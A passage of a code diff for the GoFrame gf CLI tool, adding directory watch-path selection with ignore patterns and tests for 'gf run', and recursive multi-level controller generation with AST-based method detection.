+		mlog.Printf("no directories to watch, using current directory")
+		if absCur := gfile.RealPath("."); absCur != "" {
+			return []watchPath{{Path: absCur, Recursive: true}}
+		}
+		return []watchPath{{Path: ".", Recursive: true}}
+	}
+
+	mlog.Printf("watching %d paths", len(watchPaths))
+	for _, wp := range watchPaths {
+		recursiveStr := "recursive"
+		if !wp.Recursive {
+			recursiveStr = "non-recursive"
+		}
+		mlog.Debugf("  - %s (%s)", wp.Path, recursiveStr)
+	}
+	return watchPaths
+}
+
+// collectWatchPaths performs a DFS traversal to collect the minimal set of directories to watch.
+// Returns true if the directory or any of its descendants contains ignored directories.
+// Rule: if a directory has no ignored descendants at any depth, watch it recursively;
+// otherwise, watch it non-recursively and recurse into valid children.
+func (app *cRunApp) collectWatchPaths(dir string, ignorePatterns []string, watchPaths *[]watchPath) bool {
+	entries, err := gfile.ScanDir(dir, "*", false)
+	if err != nil {
+		mlog.Printf("scan directory '%s' error: %s", dir, err.Error())
+		// If we can't scan the directory, add it to watch list as fallback
+		*watchPaths = append(*watchPaths, watchPath{Path: dir, Recursive: true})
+		return false
+	}
+
+	// First pass: identify valid subdirectories and check for directly ignored children
+	var validSubDirs []string
+	hasIgnoredChild := false
+	for _, entry := range entries {
+		if !gfile.IsDir(entry) {
+			continue
+		}
+		if isIgnoredDirName(entry, ignorePatterns) {
+			hasIgnoredChild = true
+		} else {
+			validSubDirs = append(validSubDirs, entry)
+		}
+	}
+
+	// If already has ignored child, we know this dir needs non-recursive watch
+	if hasIgnoredChild {
+		*watchPaths = append(*watchPaths, watchPath{Path: dir, Recursive: false})
+		for _, subDir := range validSubDirs {
+			app.collectWatchPaths(subDir, ignorePatterns, watchPaths)
+		}
+		return true
+	}
+
+	// No ignored children, but need to check descendants recursively
+	// Collect results from all subdirectories first
+	subResults := make([]bool, len(validSubDirs))
+	subWatchPaths := make([][]watchPath, len(validSubDirs))
+	hasIgnoredDescendant := false
+
+	for i, subDir := range validSubDirs {
+		var subPaths []watchPath
+		subResults[i] = app.collectWatchPaths(subDir, ignorePatterns, &subPaths)
+		subWatchPaths[i] = subPaths
+		if subResults[i] {
+			hasIgnoredDescendant = true
+		}
+	}
+
+	if !hasIgnoredDescendant {
+		// No ignored descendants at any depth, watch this directory recursively
+		*watchPaths = append(*watchPaths, watchPath{Path: dir, Recursive: true})
+		return false
+	}
+
+	// Has ignored descendants, watch current directory non-recursively
+	// and add all collected subdirectory watch paths
+	*watchPaths = append(*watchPaths, watchPath{Path: dir, Recursive: false})
+	for _, subPaths := range subWatchPaths {
+		*watchPaths = append(*watchPaths, subPaths...)
+	}
+	return true
+}
+
+// defaultIgnorePatterns contains glob patterns for directory names that should be ignored when watching.
+// These directories typically contain third-party code or non-source files.
+// Supported glob syntax (filepath.Match):
+//   - "*" matches any sequence of non-separator characters
+//   - "?" matches any single non-separator character
+//   - "[abc]" matches any character in the bracket
+//   - "[a-z]" matches any character in the range
+//   - "[^abc]" or "[!abc]" matches any character not in the bracket
+//
+// Note: patterns match directory base names only, not full paths (no "/" or path separators allowed).
+var defaultIgnorePatterns = []string{
+	"node_modules",
+	"vendor",
+	".*", // All hidden directories (covers .git, .svn, .hg, .idea, .vscode, etc.)
+	"_*", // Directories starting with underscore
+}
+
+// isIgnoredDirName checks if a directory name matches any ignored pattern.
+// It accepts either a full path or just the directory name, but only matches against the base name.
+// Note: patterns should not contain "/" as they only match directory names, not paths.
+func isIgnoredDirName(name string, ignorePatterns []string) bool {
+	baseName := gfile.Basename(name)
+	for _, pattern := range ignorePatterns {
+		if matched, _ := filepath.Match(pattern, baseName); matched {
 			return true
 		}
 	}
 	return false
 }
+
+// parseCommaSeparatedArgs parses command line arguments that may contain comma-separated values.
+// It handles both single argument with commas (e.g., "a,b,c") and multiple arguments.
+func parseCommaSeparatedArgs(args []string) []string {
+	var result []string
+	for _, arg := range args {
+		parts := strings.Split(arg, ",")
+		for _, part := range parts {
+			trimmed := strings.TrimSpace(part)
+			if trimmed != "" {
+				result = append(result, trimmed)
+			}
+		}
+	}
+	return result
+}

cmd/gf/internal/cmd/cmd_z_unit_gen_ctrl_test.go

@@ -22,7 +22,7 @@ func Test_Gen_Ctrl_Default(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		var (
 			path      = gfile.Temp(guid.S())
-			apiFolder = gtest.DataPath("genctrl", "api")
+			apiFolder = gtest.DataPath("genctrl", "default", "api")
 			in        = genctrl.CGenCtrlInput{
 				SrcFolder:     apiFolder,
 				DstFolder:     path,
@@ -39,7 +39,7 @@ func Test_Gen_Ctrl_Default(t *testing.T) {
 
 		err = gfile.Mkdir(path)
 		t.AssertNil(err)
-		defer gfile.Remove(path)
+		defer gfile.RemoveAll(path)
 
 		_, err = genctrl.CGenCtrl{}.Ctrl(ctx, in)
 		t.AssertNil(err)
@@ -49,7 +49,7 @@ func Test_Gen_Ctrl_Default(t *testing.T) {
 			genApi       = apiFolder + filepath.FromSlash("/article/article.go")
 			genApiExpect = apiFolder + filepath.FromSlash("/article/article_expect.go")
 		)
-		defer gfile.Remove(genApi)
+		defer gfile.RemoveAll(genApi)
 		t.Assert(gfile.GetContents(genApi), gfile.GetContents(genApiExpect))
 
 		// files
@@ -67,7 +67,7 @@ func Test_Gen_Ctrl_Default(t *testing.T) {
 		})
 
 		// content
-		testPath := gtest.DataPath("genctrl", "controller")
+		testPath := gtest.DataPath("genctrl", "default", "controller")
 		expectFiles := []string{
 			testPath + filepath.FromSlash("/article/article.go"),
 			testPath + filepath.FromSlash("/article/article_new.go"),
@@ -84,6 +84,104 @@ func Test_Gen_Ctrl_Default(t *testing.T) {
 	})
 }
 
+func Test_Gen_Ctrl_Default_Multi(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		var (
+			path      = gfile.Temp(guid.S())
+			apiFolder = gtest.DataPath("genctrl", "multi", "api")
+			in        = genctrl.CGenCtrlInput{
+				SrcFolder:     apiFolder,
+				DstFolder:     path,
+				WatchFile:     "",
+				SdkPath:       "",
+				SdkStdVersion: false,
+				SdkNoV1:       false,
+				Clear:         false,
+				Merge:         false,
+			}
+		)
+
+		err := gutil.FillStructWithDefault(&in)
+		t.AssertNil(err)
+
+		err = gfile.Mkdir(path)
+		t.AssertNil(err)
+		defer gfile.RemoveAll(path)
+
+		_, err = genctrl.CGenCtrl{}.Ctrl(ctx, in)
+		t.AssertNil(err)
+
+		// apiInterface file
+		var (
+			genApiSlice = []string{
+				apiFolder + filepath.FromSlash("/admin/article/article.go"),
+				apiFolder + filepath.FromSlash("/admin/user/user.go"),
+				apiFolder + filepath.FromSlash("/app/user/user.go"),
+				apiFolder + filepath.FromSlash("/app/user/user_ext/user_ext.go"),
+			}
+			genApiSliceExpect = []string{
+				apiFolder + filepath.FromSlash("/admin/article/article_expect.go"),
+				apiFolder + filepath.FromSlash("/admin/user/user_expect.go"),
+				apiFolder + filepath.FromSlash("/app/user/user_expect.go"),
+				apiFolder + filepath.FromSlash("/app/user/user_ext/user_ext_expect.go"),
+			}
+		)
+
+		for i := range genApiSlice {
+			t.Assert(gfile.GetContents(genApiSlice[i]), gfile.GetContents(genApiSliceExpect[i]))
+			gfile.RemoveAll(genApiSlice[i])
+		}
+
+		// files
+		files, err := gfile.ScanDir(path, "*.go", true)
+		t.AssertNil(err)
+		t.Assert(files, []string{
+			path + filepath.FromSlash("/admin/article/article.go"),
+			path + filepath.FromSlash("/admin/article/article_new.go"),
+			path + filepath.FromSlash("/admin/article/article_v1_create.go"),
+
+			path + filepath.FromSlash("/admin/user/user.go"),
+			path + filepath.FromSlash("/admin/user/user_new.go"),
+			path + filepath.FromSlash("/admin/user/user_v1_create.go"),
+
+			path + filepath.FromSlash("/app/user/user.go"),
+			path + filepath.FromSlash("/app/user/user_ext/user_ext.go"),
+			path + filepath.FromSlash("/app/user/user_ext/user_ext_new.go"),
+			path + filepath.FromSlash("/app/user/user_ext/user_ext_v1_create.go"),
+			path + filepath.FromSlash("/app/user/user_ext/user_ext_v1_update.go"),
+
+			path + filepath.FromSlash("/app/user/user_new.go"),
+			path + filepath.FromSlash("/app/user/user_v1_create.go"),
+			path + filepath.FromSlash("/app/user/user_v1_update.go"),
+		})
+
+		// content
+		testPath := gtest.DataPath("genctrl", "multi", "controller")
+		expectFiles := []string{
+			testPath + filepath.FromSlash("/admin/article/article.go"),
+			testPath + filepath.FromSlash("/admin/article/article_new.go"),
+			testPath + filepath.FromSlash("/admin/article/article_v1_create.go"),
+
+			testPath + filepath.FromSlash("/admin/user/user.go"),
+			testPath + filepath.FromSlash("/admin/user/user_new.go"),
+			testPath + filepath.FromSlash("/admin/user/user_v1_create.go"),
+
+			testPath + filepath.FromSlash("/app/user/user.go"),
+			testPath + filepath.FromSlash("/app/user/user_ext/user_ext.go"),
+			testPath + filepath.FromSlash("/app/user/user_ext/user_ext_new.go"),
+			testPath + filepath.FromSlash("/app/user/user_ext/user_ext_v1_create.go"),
+			testPath + filepath.FromSlash("/app/user/user_ext/user_ext_v1_update.go"),
+
+			testPath + filepath.FromSlash("/app/user/user_new.go"),
+			testPath + filepath.FromSlash("/app/user/user_v1_create.go"),
+			testPath + filepath.FromSlash("/app/user/user_v1_update.go"),
+		}
+		for i := range files {
+			t.Assert(gfile.GetContents(files[i]), gfile.GetContents(expectFiles[i]))
+		}
+	})
+}
+
 func expectFilesContent(t *gtest.T, paths []string, expectPaths []string) {
 	for i, expectFile := range expectPaths {
 		val := gfile.GetContents(paths[i])
@@ -98,8 +196,8 @@ func Test_Gen_Ctrl_UseMerge_AddNewFile(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		var (
 			ctrlPath = gfile.Temp(guid.S())
-			//ctrlPath  = gtest.DataPath("issue", "3460", "controller")
-			apiFolder = gtest.DataPath("genctrl-merge", "add_new_file", "api")
+			// ctrlPath  = gtest.DataPath("issue", "3460", "controller")
+			apiFolder = gtest.DataPath("genctrl", "merge", "add_new_file", "api")
 			in        = genctrl.CGenCtrlInput{
 				SrcFolder: apiFolder,
 				DstFolder: ctrlPath,
@@ -118,7 +216,7 @@ type DictTypeAddRes struct {
 
 		err := gfile.Mkdir(ctrlPath)
 		t.AssertNil(err)
-		defer gfile.Remove(ctrlPath)
+		defer gfile.RemoveAll(ctrlPath)
 
 		_, err = genctrl.CGenCtrl{}.Ctrl(ctx, in)
 		t.AssertNil(err)
@@ -127,7 +225,7 @@ type DictTypeAddRes struct {
 			genApi       = filepath.Join(apiFolder, "/dict/dict.go")
 			genApiExpect = filepath.Join(apiFolder, "/dict/dict_expect.go")
 		)
-		defer gfile.Remove(genApi)
+		defer gfile.RemoveAll(genApi)
 		t.Assert(gfile.GetContents(genApi), gfile.GetContents(genApiExpect))
 
 		genCtrlFiles, err := gfile.ScanDir(ctrlPath, "*.go", true)
@@ -138,7 +236,7 @@ type DictTypeAddRes struct {
 			filepath.Join(ctrlPath, "/dict/dict_v1_dict_type.go"),
 		})
 
-		expectCtrlPath := gtest.DataPath("genctrl-merge", "add_new_file", "controller")
+		expectCtrlPath := gtest.DataPath("genctrl", "merge", "add_new_file", "controller")
 		expectFiles := []string{
 			filepath.Join(expectCtrlPath, "/dict/dict.go"),
 			filepath.Join(expectCtrlPath, "/dict/dict_new.go"),
@@ -152,7 +250,7 @@ type DictTypeAddRes struct {
 		newApiFilePath := filepath.Join(apiFolder, "/dict/v1/test_new.go")
 		err = gfile.PutContents(newApiFilePath, testNewApiFile)
 		t.AssertNil(err)
-		defer gfile.Remove(newApiFilePath)
+		defer gfile.RemoveAll(newApiFilePath)
 
 		// Then execute the command
 		_, err = genctrl.CGenCtrl{}.Ctrl(ctx, in)
@@ -179,8 +277,8 @@ func Test_Gen_Ctrl_UseMerge_AddNewCtrl(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		var (
 			ctrlPath = gfile.Temp(guid.S())
-			//ctrlPath  = gtest.DataPath("issue", "3460", "controller")
-			apiFolder = gtest.DataPath("genctrl-merge", "add_new_ctrl", "api")
+			// ctrlPath  = gtest.DataPath("issue", "3460", "controller")
+			apiFolder = gtest.DataPath("genctrl", "merge", "add_new_ctrl", "api")
 			in        = genctrl.CGenCtrlInput{
 				SrcFolder: apiFolder,
 				DstFolder: ctrlPath,
@@ -190,7 +288,7 @@ func Test_Gen_Ctrl_UseMerge_AddNewCtrl(t *testing.T) {
 
 		err := gfile.Mkdir(ctrlPath)
 		t.AssertNil(err)
-		defer gfile.Remove(ctrlPath)
+		defer gfile.RemoveAll(ctrlPath)
 
 		_, err = genctrl.CGenCtrl{}.Ctrl(ctx, in)
 		t.AssertNil(err)
@@ -199,7 +297,7 @@ func Test_Gen_Ctrl_UseMerge_AddNewCtrl(t *testing.T) {
 			genApi       = filepath.Join(apiFolder, "/dict/dict.go")
 			genApiExpect = filepath.Join(apiFolder, "/dict/dict_expect.go")
 		)
-		defer gfile.Remove(genApi)
+		defer gfile.RemoveAll(genApi)
 		t.Assert(gfile.GetContents(genApi), gfile.GetContents(genApiExpect))
 
 		genCtrlFiles, err := gfile.ScanDir(ctrlPath, "*.go", true)
@@ -210,7 +308,7 @@ func Test_Gen_Ctrl_UseMerge_AddNewCtrl(t *testing.T) {
 			filepath.Join(ctrlPath, "/dict/dict_v1_dict_type.go"),
 		})
 
-		expectCtrlPath := gtest.DataPath("genctrl-merge", "add_new_ctrl", "controller")
+		expectCtrlPath := gtest.DataPath("genctrl", "merge", "add_new_ctrl", "controller")
 		expectFiles := []string{
 			filepath.Join(expectCtrlPath, "/dict/dict.go"),
 			filepath.Join(expectCtrlPath, "/dict/dict_new.go"),
@@ -236,7 +334,7 @@ type DictTypeAddRes struct {
 		err = gfile.PutContentsAppend(dictModuleFileName, testNewApiFile)
 		t.AssertNil(err)
 
-		//==================================
+		// ==================================
 		// Then execute the command
 		_, err = genctrl.CGenCtrl{}.Ctrl(ctx, in)
 		t.AssertNil(err)
@@ -262,7 +360,7 @@ func Test_Gen_Ctrl_UseMerge_Issue3460(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		var (
 			ctrlPath = gfile.Temp(guid.S())
-			//ctrlPath  = gtest.DataPath("issue", "3460", "controller")
+			// ctrlPath  = gtest.DataPath("issue", "3460", "controller")
 			apiFolder = gtest.DataPath("issue", "3460", "api")
 			in        = genctrl.CGenCtrlInput{
 				SrcFolder:     apiFolder,
@@ -278,7 +376,7 @@ func Test_Gen_Ctrl_UseMerge_Issue3460(t *testing.T) {
 
 		err := gfile.Mkdir(ctrlPath)
 		t.AssertNil(err)
-		defer gfile.Remove(ctrlPath)
+		defer gfile.RemoveAll(ctrlPath)
 
 		_, err = genctrl.CGenCtrl{}.Ctrl(ctx, in)
 		t.AssertNil(err)

cmd/gf/internal/cmd/cmd_z_unit_run_test.go

@@ -0,0 +1,336 @@
+// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package cmd
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/gogf/gf/v2/os/gfile"
+	"github.com/gogf/gf/v2/test/gtest"
+)
+
+func Test_cRunApp_getWatchPaths_Basic(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		app := &cRunApp{
+			WatchPaths: []string{"."},
+		}
+		watchPaths := app.getWatchPaths()
+
+		t.AssertGT(len(watchPaths), 0)
+		for _, v := range watchPaths {
+			t.Log(v)
+		}
+	})
+}
+
+func Test_cRunApp_getWatchPaths_EmptyWatchPaths(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		app := &cRunApp{
+			WatchPaths: []string{},
+		}
+		watchPaths := app.getWatchPaths()
+
+		// Should default to current directory "."
+		t.AssertGT(len(watchPaths), 0)
+	})
+}
+
+func Test_cRunApp_getWatchPaths_CustomIgnorePattern(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		app := &cRunApp{
+			WatchPaths:     []string{"testdata"},
+			IgnorePatterns: []string{"2572"},
+		}
+		watchPaths := app.getWatchPaths()
+
+		// Ensure the "2572" directory is not watched directly.
+		for _, wp := range watchPaths {
+			t.Log("watch path:", wp)
+			t.Assert(strings.HasSuffix(wp.Path, "2572"), false)
+		}
+		t.AssertGT(len(watchPaths), 0)
+	})
+}
+
+func Test_cRunApp_getWatchPaths_WithIgnoredDirectories(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		// Create a temporary directory structure for testing
+		tempDir := gfile.Temp("gf_run_test")
+		defer gfile.Remove(tempDir)
+
+		// Create directory structure:
+		// tempDir/
+		//   ├── src/
+		//   │   ├── api/
+		//   │   └── internal/
+		//   ├── vendor/  <-- ignored
+		//   └── node_modules/  <-- ignored
+		gfile.Mkdir(filepath.Join(tempDir, "src", "api"))
+		gfile.Mkdir(filepath.Join(tempDir, "src", "internal"))
+		gfile.Mkdir(filepath.Join(tempDir, "vendor"))
+		gfile.Mkdir(filepath.Join(tempDir, "node_modules"))
+
+		app := &cRunApp{
+			WatchPaths: []string{tempDir},
+		}
+		watchPaths := app.getWatchPaths()
+
+		// Should watch tempDir non-recursively (to catch top-level files) and src recursively
+		t.Assert(len(watchPaths), 2)
+		// First path is tempDir (non-recursive)
+		t.Assert(watchPaths[0].Path, tempDir)
+		t.Assert(watchPaths[0].Recursive, false)
+		// Second path is src (recursive, since it has no ignored descendants)
+		t.Assert(watchPaths[1].Path, filepath.Join(tempDir, "src"))
+		t.Assert(watchPaths[1].Recursive, true)
+	})
+}
+
+func Test_cRunApp_getWatchPaths_NoIgnoredDirectories(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		// Create a temporary directory structure without ignored directories
+		tempDir := gfile.Temp("gf_run_test_no_ignore")
+		defer gfile.Remove(tempDir)
+
+		// Create directory structure without ignored patterns:
+		// tempDir/
+		//   ├── src/
+		//   │   ├── api/
+		//   │   └── internal/
+		gfile.Mkdir(filepath.Join(tempDir, "src", "api"))
+		gfile.Mkdir(filepath.Join(tempDir, "src", "internal"))
+
+		app := &cRunApp{
+			WatchPaths: []string{tempDir},
+		}
+		watchPaths := app.getWatchPaths()
+
+		// Should watch the root directory recursively since no ignored directories exist
+		t.Assert(len(watchPaths), 1)
+		t.Assert(watchPaths[0].Path, tempDir)
+		t.Assert(watchPaths[0].Recursive, true)
+	})
+}
+
+func Test_cRunApp_getWatchPaths_CustomIgnorePatterns(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		// Create a temporary directory structure
+		tempDir := gfile.Temp("gf_run_test_custom_ignore")
+		defer gfile.Remove(tempDir)
+
+		// Create directory structure:
+		// tempDir/
+		//   ├── src/
+		//   │   ├── api/
+		//   │   └── internal/
+		//   ├── build/  <-- ignored
+		//   └── dist/  <-- ignored
+		gfile.Mkdir(filepath.Join(tempDir, "src", "api"))
+		gfile.Mkdir(filepath.Join(tempDir, "src", "internal"))
+		gfile.Mkdir(filepath.Join(tempDir, "build"))
+		gfile.Mkdir(filepath.Join(tempDir, "dist"))
+
+		app := &cRunApp{
+			WatchPaths:     []string{tempDir},
+			IgnorePatterns: []string{"build", "dist"},
+		}
+		watchPaths := app.getWatchPaths()
+
+		// Should watch tempDir non-recursively and src recursively
+		t.Assert(len(watchPaths), 2)
+		t.Assert(watchPaths[0].Path, tempDir)
+		t.Assert(watchPaths[0].Recursive, false)
+		t.Assert(watchPaths[1].Path, filepath.Join(tempDir, "src"))
+		t.Assert(watchPaths[1].Recursive, true)
+	})
+}
+
+func Test_cRunApp_getWatchPaths_DeepNestedStructure(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		// Create a deep nested directory structure
+		tempDir := gfile.Temp("gf_run_test_deep")
+		defer gfile.Remove(tempDir)
+
+		// Create deep directory structure:
+		// tempDir/
+		//   ├── a/
+		//   │   ├── b/
+		//   │   │   └── c/
+		//   │   └── vendor/  <-- ignored
+		//   └── d/
+		gfile.Mkdir(filepath.Join(tempDir, "a", "b", "c"))
+		gfile.Mkdir(filepath.Join(tempDir, "a", "vendor"))
+		gfile.Mkdir(filepath.Join(tempDir, "d"))
+
+		app := &cRunApp{
+			WatchPaths: []string{tempDir},
+		}
+		watchPaths := app.getWatchPaths()
+
+		// Should watch individual valid directories due to ignored vendor directory
+		t.AssertGT(len(watchPaths), 0)
+
+		// Verify that vendor directory is not in watch list
+		for _, wp := range watchPaths {
+			t.Assert(strings.Contains(wp.Path, "vendor"), false)
+		}
+	})
+}
+
+func Test_cRunApp_getWatchPaths_MultipleRoots(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		// Create multiple temporary directories
+		tempDir1 := gfile.Temp("gf_run_test_multi1")
+		tempDir2 := gfile.Temp("gf_run_test_multi2")
+		defer gfile.Remove(tempDir1)
+		defer gfile.Remove(tempDir2)
+
+		gfile.Mkdir(filepath.Join(tempDir1, "src"))
+		gfile.Mkdir(filepath.Join(tempDir2, "api"))
+
+		app := &cRunApp{
+			WatchPaths: []string{tempDir1, tempDir2},
+		}
+		watchPaths := app.getWatchPaths()
+
+		// Should watch both root directories recursively
+		t.Assert(len(watchPaths), 2)
+
+		// Both directories should be in the watch list
+		foundDir1, foundDir2 := false, false
+		for _, wp := range watchPaths {
+			if wp.Path == tempDir1 {
+				foundDir1 = true
+				t.Assert(wp.Recursive, true)
+			}
+			if wp.Path == tempDir2 {
+				foundDir2 = true
+				t.Assert(wp.Recursive, true)
+			}
+		}
+		t.Assert(foundDir1, true)
+		t.Assert(foundDir2, true)
+	})
+}
+
+func Test_cRunApp_getWatchPaths_NonExistentDirectory(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		app := &cRunApp{
+			WatchPaths: []string{"/non/existent/path"},
+		}
+		watchPaths := app.getWatchPaths()
+
+		// Should fall back to current directory when no valid paths found
+		t.AssertGT(len(watchPaths), 0)
+
+		// Should contain current directory
+		currentDir, _ := os.Getwd()
+		foundCurrentDir := false
+		for _, wp := range watchPaths {
+			if wp.Path == currentDir {
+				foundCurrentDir = true
+				break
+			}
+		}
+		t.Assert(foundCurrentDir, true)
+	})
+}
+
+func Test_isIgnoredDirName(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		// Test default ignore patterns
+		t.Assert(isIgnoredDirName("node_modules", defaultIgnorePatterns), true)
+		t.Assert(isIgnoredDirName("vendor", defaultIgnorePatterns), true)
+		t.Assert(isIgnoredDirName(".git", defaultIgnorePatterns), true)
+		t.Assert(isIgnoredDirName("_private", defaultIgnorePatterns), true)
+		t.Assert(isIgnoredDirName("src", defaultIgnorePatterns), false)
+		t.Assert(isIgnoredDirName("api", defaultIgnorePatterns), false)
+
+		// Test custom ignore patterns
+		customPatterns := []string{"build", "dist", "*.tmp"}
+		t.Assert(isIgnoredDirName("build", customPatterns), true)
+		t.Assert(isIgnoredDirName("dist", customPatterns), true)
+		t.Assert(isIgnoredDirName("test.tmp", customPatterns), true)
+		t.Assert(isIgnoredDirName("src", customPatterns), false)
+	})
+}
+
+func Test_cRunApp_getWatchPaths_DeeplyNestedIgnore(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		// Create a temporary directory structure with deeply nested ignored directory
+		tempDir := gfile.Temp("gf_run_test_deeply_nested")
+		defer gfile.Remove(tempDir)
+
+		// Create directory structure:
+		// tempDir/
+		//   ├── a/
+		//   │   ├── b/
+		//   │   │   ├── c/
+		//   │   │   │   └── vendor/  <-- deeply nested ignored (4 levels)
+		//   │   │   └── d/
+		//   │   └── e/
+		//   └── f/
+		gfile.Mkdir(filepath.Join(tempDir, "a", "b", "c", "vendor"))
+		gfile.Mkdir(filepath.Join(tempDir, "a", "b", "d"))
+		gfile.Mkdir(filepath.Join(tempDir, "a", "e"))
+		gfile.Mkdir(filepath.Join(tempDir, "f"))
+
+		app := &cRunApp{
+			WatchPaths: []string{tempDir},
+		}
+		watchPaths := app.getWatchPaths()
+
+		// Expected watch paths:
+		// 1. tempDir (non-recursive) - has ignored descendant
+		// 2. a (non-recursive) - has ignored descendant in b/c/vendor
+		// 3. b (non-recursive) - has ignored descendant in c/vendor
+		// 4. c (non-recursive) - has ignored child vendor
+		// 5. d (recursive) - no ignored descendants
+		// 6. e (recursive) - no ignored descendants
+		// 7. f (recursive) - no ignored descendants
+
+		t.AssertGT(len(watchPaths), 0)
+
+		// Verify vendor is not in watch paths
+		for _, wp := range watchPaths {
+			t.Assert(strings.Contains(wp.Path, "vendor"), false)
+		}
+
+		// Find specific paths and verify their recursive flags
+		foundF := false
+		for _, wp := range watchPaths {
+			if wp.Path == filepath.Join(tempDir, "f") {
+				foundF = true
+				t.Assert(wp.Recursive, true) // f should be recursive (no ignored descendants)
+			}
+		}
+		t.Assert(foundF, true)
+	})
+}
+
+func Test_cRunApp_getWatchPaths_EmptyDirectory(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		// Create an empty temporary directory
+		tempDir := gfile.Temp("gf_run_test_empty")
+		defer gfile.Remove(tempDir)
+
+		gfile.Mkdir(tempDir)
+
+		app := &cRunApp{
+			WatchPaths: []string{tempDir},
+		}
+		watchPaths := app.getWatchPaths()
+
+		// Empty directory should be watched recursively (no ignored descendants)
+		t.Assert(len(watchPaths), 1)
+		t.Assert(watchPaths[0].Path, tempDir)
+		t.Assert(watchPaths[0].Recursive, true)
+	})
+}

cmd/gf/internal/cmd/genctrl/genctrl.go

@@ -89,28 +89,11 @@ func (c CGenCtrl) Ctrl(ctx context.Context, in CGenCtrlInput) (out *CGenCtrlOutp
 	if !gfile.Exists(in.SrcFolder) {
 		mlog.Fatalf(`source folder path "%s" does not exist`, in.SrcFolder)
 	}
-	// retrieve all api modules.
-	apiModuleFolderPaths, err := gfile.ScanDir(in.SrcFolder, "*", false)
+
+	err = c.generateByModules(in)
 	if err != nil {
 		return nil, err
 	}
-	for _, apiModuleFolderPath := range apiModuleFolderPaths {
-		if !gfile.IsDir(apiModuleFolderPath) {
-			continue
-		}
-		// generate go files by api module.
-		var (
-			module              = gfile.Basename(apiModuleFolderPath)
-			dstModuleFolderPath = gfile.Join(in.DstFolder, module)
-		)
-		err = c.generateByModule(
-			apiModuleFolderPath, dstModuleFolderPath, in.SdkPath,
-			in.SdkStdVersion, in.SdkNoV1, in.Clear, in.Merge,
-		)
-		if err != nil {
-			return nil, err
-		}
-	}
 
 	mlog.Print(`done!`)
 	return
@@ -163,6 +146,56 @@ func (c CGenCtrl) generateByWatchFile(watchFile, sdkPath string, sdkStdVersion,
 	)
 }
 
+// generateByModules recursively calls generateByModule for multi-level modules generation.
+func (c CGenCtrl) generateByModules(in CGenCtrlInput) (err error) {
+	// read root folder, example: api/user or api/app
+	moduleFolderPaths, err := gfile.ScanDir(in.SrcFolder, "*", false)
+	if err != nil {
+		return err
+	}
+	for _, moduleFolder := range moduleFolderPaths {
+		if !gfile.IsDir(moduleFolder) {
+			continue
+		}
+
+		// read children folder, example: api/user/v1 or api/app/user
+		childrenFolderPaths, err := gfile.ScanDir(moduleFolder, "*", false)
+		if err != nil {
+			return err
+		}
+		for _, childrenFolderPath := range childrenFolderPaths {
+			if !gfile.IsDir(childrenFolderPath) {
+				continue
+			}
+
+			var (
+				inCopy = in
+				module = gfile.Basename(moduleFolder)
+			)
+			inCopy.SrcFolder = gfile.Join(in.SrcFolder, module)
+			inCopy.DstFolder = gfile.Join(in.DstFolder, module)
+			err = c.generateByModules(inCopy)
+			if err != nil {
+				return err
+			}
+		}
+
+		// generate go files by api module.
+		var (
+			module              = gfile.Basename(moduleFolder)
+			dstModuleFolderPath = gfile.Join(in.DstFolder, module)
+		)
+		err = c.generateByModule(
+			moduleFolder, dstModuleFolderPath, in.SdkPath,
+			in.SdkStdVersion, in.SdkNoV1, in.Clear, in.Merge,
+		)
+		if err != nil {
+			return err
+		}
+	}
+	return
+}
+
 // parseApiModule parses certain api and generate associated go files by certain module, not all api modules.
 func (c CGenCtrl) generateByModule(
 	apiModuleFolderPath, dstModuleFolderPath, sdkPath string,

cmd/gf/internal/cmd/genctrl/genctrl_generate_ctrl.go

@@ -8,6 +8,9 @@ package genctrl
 
 import (
 	"fmt"
+	"go/ast"
+	"go/parser"
+	"go/token"
 	"path/filepath"
 	"strings"
 
@@ -144,8 +147,8 @@ func (c *controllerGenerator) doGenerateCtrlItem(dstModuleFolderPath string, ite
 			"{MethodName}":    item.MethodName,
 			"{MethodComment}": item.GetComment(),
 		})
-
-		if gstr.Contains(gfile.GetContents(methodFilePath), fmt.Sprintf(`func (c *%v) %v(`, ctrlName, item.MethodName)) {
+		// Use AST-based checking for more accurate method detection
+		if methodExists(methodFilePath, ctrlName, item.MethodName) {
 			return
 		}
 		if err = gfile.PutContentsAppend(methodFilePath, gstr.TrimLeft(content)); err != nil {
@@ -170,7 +173,6 @@ func (c *controllerGenerator) doGenerateCtrlItem(dstModuleFolderPath string, ite
 
 // use -merge
 func (c *controllerGenerator) doGenerateCtrlMergeItem(dstModuleFolderPath string, apiItems []apiItem, doneApiSet *gset.StrSet) (err error) {
-
 	type controllerFileItem struct {
 		module     string
 		version    string
@@ -193,13 +195,23 @@ func (c *controllerGenerator) doGenerateCtrlMergeItem(dstModuleFolderPath string
 			ctrlFileItemMap[api.FileName] = ctrlFileItem
 		}
 
+		ctrlName := fmt.Sprintf(`Controller%s`, gstr.UcFirst(api.Version))
 		ctrl := gstr.TrimLeft(gstr.ReplaceByMap(consts.TemplateGenCtrlControllerMethodFuncMerge, g.MapStrStr{
 			"{Module}":        api.Module,
-			"{CtrlName}":      fmt.Sprintf(`Controller%s`, gstr.UcFirst(api.Version)),
+			"{CtrlName}":      ctrlName,
 			"{Version}":       api.Version,
 			"{MethodName}":    api.MethodName,
